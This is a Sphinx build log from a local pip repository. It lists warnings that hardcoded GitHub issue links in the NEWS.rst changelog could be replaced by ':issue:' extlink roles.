/Users/pradyunsg/Developer/pip/NEWS.rst:547: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/9193' could be replaced by an extlink (try using ':issue:`9193`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:559: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/9133' could be replaced by an extlink (try using ':issue:`9133`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:564: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/9077' could be replaced by an extlink (try using ':issue:`9077`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:565: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/9100' could be replaced by an extlink (try using ':issue:`9100`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:566: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/9138' could be replaced by an extlink (try using ':issue:`9138`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:571: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/9011' could be replaced by an extlink (try using ':issue:`9011`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:572: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/9083' could be replaced by an extlink (try using ':issue:`9083`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:575: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/9101' could be replaced by an extlink (try using ':issue:`9101`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:576: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/9122' could be replaced by an extlink (try using ':issue:`9122`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:578: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/9156' could be replaced by an extlink (try using ':issue:`9156`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:579: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/9160' could be replaced by an extlink (try using ':issue:`9160`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:580: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/9169' could be replaced by an extlink (try using ':issue:`9169`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:598: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/9039' could be replaced by an extlink (try using ':issue:`9039`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:599: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/9131' could be replaced by an extlink (try using ':issue:`9131`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:610: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/4256' could be replaced by an extlink (try using ':issue:`4256`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:612: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/8181' could be replaced by an extlink (try using ':issue:`8181`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:613: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/8417' could be replaced by an extlink (try using ':issue:`8417`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:614: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/8927' could be replaced by an extlink (try using ':issue:`8927`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:615: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/9069' could be replaced by an extlink (try using ':issue:`9069`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:620: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/4256' could be replaced by an extlink (try using ':issue:`4256`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:621: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/6121' could be replaced by an extlink (try using ':issue:`6121`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:622: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/8355' could be replaced by an extlink (try using ':issue:`8355`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:623: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/8676' could be replaced by an extlink (try using ':issue:`8676`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:625: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/8752' could be replaced by an extlink (try using ':issue:`8752`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:628: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/8804' could be replaced by an extlink (try using ':issue:`8804`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:631: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/8815' could be replaced by an extlink (try using ':issue:`8815`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:633: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/8892' could be replaced by an extlink (try using ':issue:`8892`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:634: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/8905' could be replaced by an extlink (try using ':issue:`8905`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:637: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/8924' could be replaced by an extlink (try using ':issue:`8924`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:639: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/8971' could be replaced by an extlink (try using ':issue:`8971`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:640: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/8975' could be replaced by an extlink (try using ':issue:`8975`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:641: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/9019' could be replaced by an extlink (try using ':issue:`9019`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:642: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/9049' could be replaced by an extlink (try using ':issue:`9049`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:647: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/8103' could be replaced by an extlink (try using ':issue:`8103`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:649: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/8578' could be replaced by an extlink (try using ':issue:`8578`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:653: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/8658' could be replaced by an extlink (try using ':issue:`8658`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:655: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/8696' could be replaced by an extlink (try using ':issue:`8696`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:658: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/8792' could be replaced by an extlink (try using ':issue:`8792`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:660: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/8827' could be replaced by an extlink (try using ':issue:`8827`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:662: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/8839' could be replaced by an extlink (try using ':issue:`8839`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:665: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/8861' could be replaced by an extlink (try using ':issue:`8861`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:666: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/8963' could be replaced by an extlink (try using ':issue:`8963`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:668: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/8996' could be replaced by an extlink (try using ':issue:`8996`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:681: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/7231' could be replaced by an extlink (try using ':issue:`7231`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:682: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/7311' could be replaced by an extlink (try using ':issue:`7311`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:683: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/8636' could be replaced by an extlink (try using ':issue:`8636`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:684: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/8783' could be replaced by an extlink (try using ':issue:`8783`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:684: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/8848' could be replaced by an extlink (try using ':issue:`8848`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:685: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/8807' could be replaced by an extlink (try using ':issue:`8807`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:686: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/9044' could be replaced by an extlink (try using ':issue:`9044`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:687: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/9056' could be replaced by an extlink (try using ':issue:`9056`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:698: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/8417' could be replaced by an extlink (try using ':issue:`8417`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:699: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/8927' could be replaced by an extlink (try using ':issue:`8927`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:704: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/8023' could be replaced by an extlink (try using ':issue:`8023`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:706: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/8676' could be replaced by an extlink (try using ':issue:`8676`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:708: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/8905' could be replaced by an extlink (try using ':issue:`8905`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:711: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/8924' could be replaced by an extlink (try using ':issue:`8924`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:717: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/8758' could be replaced by an extlink (try using ':issue:`8758`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:719: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/8792' could be replaced by an extlink (try using ':issue:`8792`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:721: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/8839' could be replaced by an extlink (try using ':issue:`8839`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:728: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/8807' could be replaced by an extlink (try using ':issue:`8807`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:739: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/8181' could be replaced by an extlink (try using ':issue:`8181`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:744: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/8752' could be replaced by an extlink (try using ':issue:`8752`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:757: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/8090' could be replaced by an extlink (try using ':issue:`8090`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:760: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/8695' could be replaced by an extlink (try using ':issue:`8695`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:763: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/8701' could be replaced by an extlink (try using ':issue:`8701`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:763: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/8716' could be replaced by an extlink (try using ':issue:`8716`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:765: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/8717' could be replaced by an extlink (try using ':issue:`8717`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:766: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/8724' could be replaced by an extlink (try using ':issue:`8724`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:778: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/8603' could be replaced by an extlink (try using ':issue:`8603`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:783: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/8645' could be replaced by an extlink (try using ':issue:`8645`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:785: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/8654' could be replaced by an extlink (try using ':issue:`8654`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:787: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/8665' could be replaced by an extlink (try using ':issue:`8665`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:788: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/8677' could be replaced by an extlink (try using ':issue:`8677`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:790: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/8684' could be replaced by an extlink (try using ':issue:`8684`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:796: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/8371' could be replaced by an extlink (try using ':issue:`8371`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:797: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/8660' could be replaced by an extlink (try using ':issue:`8660`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:808: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/6998' could be replaced by an extlink (try using ':issue:`6998`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:808: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/8617' could be replaced by an extlink (try using ':issue:`8617`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:809: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/7309' could be replaced by an extlink (try using ':issue:`7309`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:810: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/8288' could be replaced by an extlink (try using ':issue:`8288`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:811: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/8368' could be replaced by an extlink (try using ':issue:`8368`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:813: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/8372' could be replaced by an extlink (try using ':issue:`8372`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:817: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/8408' could be replaced by an extlink (try using ':issue:`8408`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:822: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/3166' could be replaced by an extlink (try using ':issue:`3166`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:823: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/5380' could be replaced by an extlink (try using ':issue:`5380`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:824: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/6030' could be replaced by an extlink (try using ':issue:`6030`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:827: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/6536' could be replaced by an extlink (try using ':issue:`6536`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:836: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/8546' could be replaced by an extlink (try using ':issue:`8546`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:836: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/8377' could be replaced by an extlink (try using ':issue:`8377`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:837: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/6741' could be replaced by an extlink (try using ':issue:`6741`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:838: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/6754' could be replaced by an extlink (try using ':issue:`6754`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:839: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/7693' could be replaced by an extlink (try using ':issue:`7693`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:840: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/7811' could be replaced by an extlink (try using ':issue:`7811`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:842: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/8128' could be replaced by an extlink (try using ':issue:`8128`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:843: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/8504' could be replaced by an extlink (try using ':issue:`8504`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:844: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/8588' could be replaced by an extlink (try using ':issue:`8588`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:847: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/8601' could be replaced by an extlink (try using ':issue:`8601`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:852: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/5021' could be replaced by an extlink (try using ':issue:`5021`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:853: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/7625' could be replaced by an extlink (try using ':issue:`7625`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:854: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/7968' could be replaced by an extlink (try using ':issue:`7968`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:855: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/8342' could be replaced by an extlink (try using ':issue:`8342`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:857: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/8454' could be replaced by an extlink (try using ':issue:`8454`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:858: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/8521' could be replaced by an extlink (try using ':issue:`8521`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:880: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/7688' could be replaced by an extlink (try using ':issue:`7688`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:881: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/7908' could be replaced by an extlink (try using ':issue:`7908`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:883: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/8072' could be replaced by an extlink (try using ':issue:`8072`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:884: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/8353' could be replaced by an extlink (try using ':issue:`8353`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:885: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/8373' could be replaced by an extlink (try using ':issue:`8373`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:886: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/8459' could be replaced by an extlink (try using ':issue:`8459`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:887: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/8512' could be replaced by an extlink (try using ':issue:`8512`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:888: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/8576' could be replaced by an extlink (try using ':issue:`8576`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:899: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/5712' could be replaced by an extlink (try using ':issue:`5712`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:901: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/7998' could be replaced by an extlink (try using ':issue:`7998`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:906: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/8207' could be replaced by an extlink (try using ':issue:`8207`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:916: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/7555' could be replaced by an extlink (try using ':issue:`7555`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:918: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/8167' could be replaced by an extlink (try using ':issue:`8167`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:923: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/8164' could be replaced by an extlink (try using ':issue:`8164`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:924: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/8178' could be replaced by an extlink (try using ':issue:`8178`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:941: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/7350' could be replaced by an extlink (try using ':issue:`7350`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:946: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/8124' could be replaced by an extlink (try using ':issue:`8124`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:947: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/8139' could be replaced by an extlink (try using ':issue:`8139`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:959: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/5979' could be replaced by an extlink (try using ':issue:`5979`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:960: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/7297' could be replaced by an extlink (try using ':issue:`7297`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:961: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/7555' could be replaced by an extlink (try using ':issue:`7555`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:963: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/7680' could be replaced by an extlink (try using ':issue:`7680`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:968: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/609' could be replaced by an extlink (try using ':issue:`609`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:970: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/6391' could be replaced by an extlink (try using ':issue:`6391`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:971: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/7249' could be replaced by an extlink (try using ':issue:`7249`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:972: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/7729' could be replaced by an extlink (try using ':issue:`7729`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:973: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/7768' could be replaced by an extlink (try using ':issue:`7768`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:974: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/7847' could be replaced by an extlink (try using ':issue:`7847`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:975: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/988' could be replaced by an extlink (try using ':issue:`988`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:980: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/3988' could be replaced by an extlink (try using ':issue:`3988`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:981: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/6446' could be replaced by an extlink (try using ':issue:`6446`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:983: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/7402' could be replaced by an extlink (try using ':issue:`7402`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:984: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/7430' could be replaced by an extlink (try using ':issue:`7430`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:985: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/7699' could be replaced by an extlink (try using ':issue:`7699`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:987: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/7718' could be replaced by an extlink (try using ':issue:`7718`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:989: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/7731' could be replaced by an extlink (try using ':issue:`7731`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:990: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/7856' could be replaced by an extlink (try using ':issue:`7856`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:991: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/7872' could be replaced by an extlink (try using ':issue:`7872`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:992: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/7962' could be replaced by an extlink (try using ':issue:`7962`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:993: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/8013' could be replaced by an extlink (try using ':issue:`8013`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1016: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/1983' could be replaced by an extlink (try using ':issue:`1983`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1018: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/3191' could be replaced by an extlink (try using ':issue:`3191`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1019: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/7008' could be replaced by an extlink (try using ':issue:`7008`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1020: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/7767' could be replaced by an extlink (try using ':issue:`7767`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1021: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/7803' could be replaced by an extlink (try using ':issue:`7803`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1032: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/7626' could be replaced by an extlink (try using ':issue:`7626`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1048: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/7621' could be replaced by an extlink (try using ':issue:`7621`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1064: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/6908' could be replaced by an extlink (try using ':issue:`6908`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1066: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/6998' could be replaced by an extlink (try using ':issue:`6998`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1067: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/7296' could be replaced by an extlink (try using ':issue:`7296`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1070: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/7297' could be replaced by an extlink (try using ':issue:`7297`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1071: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/7309' could be replaced by an extlink (try using ':issue:`7309`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1072: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/7327' could be replaced by an extlink (try using ':issue:`7327`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1074: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/7355' could be replaced by an extlink (try using ':issue:`7355`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1078: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/7487' could be replaced by an extlink (try using ':issue:`7487`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1080: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/7543' could be replaced by an extlink (try using ':issue:`7543`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1088: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/1668' could be replaced by an extlink (try using ':issue:`1668`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1090: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/6414' could be replaced by an extlink (try using ':issue:`6414`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1091: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/6640' could be replaced by an extlink (try using ':issue:`6640`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1093: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/6673' could be replaced by an extlink (try using ':issue:`6673`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1095: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/6852' could be replaced by an extlink (try using ':issue:`6852`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1100: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/7146' could be replaced by an extlink (try using ':issue:`7146`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1101: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/7225' could be replaced by an extlink (try using ':issue:`7225`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1102: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/7376' could be replaced by an extlink (try using ':issue:`7376`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1104: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/7498' could be replaced by an extlink (try using ':issue:`7498`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1106: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/7517' could be replaced by an extlink (try using ':issue:`7517`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1117: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/980' could be replaced by an extlink (try using ':issue:`980`' instead)
/Users/pradyunsg/Developer/pip/NEWS.rst:1122: WARNING: hardcoded link 'https://github.com/pypa/pip/issues/5702' could be replaced by an extlink (try using ':issue:`5702`' instead)
